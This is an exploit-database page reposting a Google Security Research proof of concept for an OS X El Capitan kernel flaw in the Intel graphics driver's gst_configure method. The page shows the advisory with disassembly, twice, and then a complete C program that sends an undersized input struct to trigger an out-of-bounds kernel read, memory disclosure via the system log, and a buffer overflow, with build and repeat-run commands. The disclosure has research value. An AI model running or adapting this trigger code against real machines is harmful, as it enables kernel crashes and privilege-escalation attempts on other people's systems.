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zdtGoogle Security Research1337DAY-ID-25789
HistoryJan 28, 2016 - 12:00 a.m.

Apple Mac OSX - gst_configure Kernel Buffer Overflow

2016-01-2800:00:00
Google Security Research
0day.today
20

0.0004 Low

EPSS

Percentile

0.4%

Exploit for macOS platform in category dos / poc

/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=596
 
The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)
 
__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366                                         ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366                 push    rbp
__text:000000000002A367                 mov     rbp, rsp
__text:000000000002A36A                 push    r15
__text:000000000002A36C                 push    r14
__text:000000000002A36E                 push    r12
__text:000000000002A370                 push    rbx
__text:000000000002A371                 mov     rax, rdx
__text:000000000002A374                 mov     r15, rsi         ; <-- r15 points to controlled mach message data
__text:000000000002A377                 mov     r14, rdi
__text:000000000002A37A                 mov     edx, [r15+800h]  ; <-- size never checked -> oob read
__text:000000000002A381                 cmp     edx, 200h
__text:000000000002A387                 jbe     short loc_2A3AD
__text:000000000002A389                 lea     rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390                 lea     rsi, aGst_configure ; "gst_configure"
__text:000000000002A397                 mov     ecx, 200h
__text:000000000002A39C                 xor     eax, eax
__text:000000000002A39E                 call    _IOLog
 
 
here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.
 
The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.
 
However, we can do more:
 
r15 is passed to IntelAccelerator::gstqConfigure:
 
mov     rsi, r15
call    __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec
 
where we reach the following code:
 
__text:000000000001DC29                 mov     edx, [rsi+800h]
__text:000000000001DC2F                 shl     rdx, 2          ; size_t
__text:000000000001DC33                 lea     rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A                 call    _memcpy
 
here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.
 
Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.
 
clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit
 
repro: while true; ./ig_gl_gst_oob_read; done
 
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
 
// ianbeer
/*
Lack of bounds checking in gst_configure leads to kernel buffer overflow due to toctou (plus kernel memory disclosure)
 
The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)
 
__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366                                         ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366                 push    rbp
__text:000000000002A367                 mov     rbp, rsp
__text:000000000002A36A                 push    r15
__text:000000000002A36C                 push    r14
__text:000000000002A36E                 push    r12
__text:000000000002A370                 push    rbx
__text:000000000002A371                 mov     rax, rdx
__text:000000000002A374                 mov     r15, rsi         ; <-- r15 points to controlled mach message data
__text:000000000002A377                 mov     r14, rdi
__text:000000000002A37A                 mov     edx, [r15+800h]  ; <-- size never checked -> oob read
__text:000000000002A381                 cmp     edx, 200h
__text:000000000002A387                 jbe     short loc_2A3AD
__text:000000000002A389                 lea     rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390                 lea     rsi, aGst_configure ; "gst_configure"
__text:000000000002A397                 mov     ecx, 200h
__text:000000000002A39C                 xor     eax, eax
__text:000000000002A39E                 call    _IOLog
 
 
here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.
 
The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.
 
However, we can do more:
 
r15 is passed to IntelAccelerator::gstqConfigure:
 
mov     rsi, r15
call    __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec
 
where we reach the following code:
 
__text:000000000001DC29                 mov     edx, [rsi+800h]
__text:000000000001DC2F                 shl     rdx, 2          ; size_t
__text:000000000001DC33                 lea     rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A                 call    _memcpy
 
here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.
 
Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.
 
clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit
 
repro: while true; ./ig_gl_gst_oob_read; done
 
Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
 
#include <IOKit/IOKitLib.h>
 
int main(int argc, char** argv){
  kern_return_t err;
   
  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }
 
  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }
 
  io_service_t service = IOIteratorNext(iterator);
   
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);
 
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }
 
  printf("got userclient connection: %x\n", conn);
   
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;
 
  char inputStruct[4096];
  size_t inputStructCnt = 0;
 
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
 
  char outputStruct[4096];
  size_t outputStructCnt = 0;
 
  inputScalarCnt = 0;
  inputStructCnt = 0;
 
  outputScalarCnt = 0;
  outputStructCnt = 0;
 
  inputStructCnt = 0x30;
 
  err = IOConnectCallMethod(
   conn,
   0x205,                 //gst_operation
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 
 
  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   printf("that was an error in the first call, don't care!\n");
  }
   
 
   
  inputStructCnt = 0x1;
 
  err = IOConnectCallMethod(
   conn,
   0x206,                 //gst_configure
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 
 
  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   return 0;
  }
}

#  0day.today [2018-01-10]  #

0.0004 Low

EPSS

Percentile

0.4%

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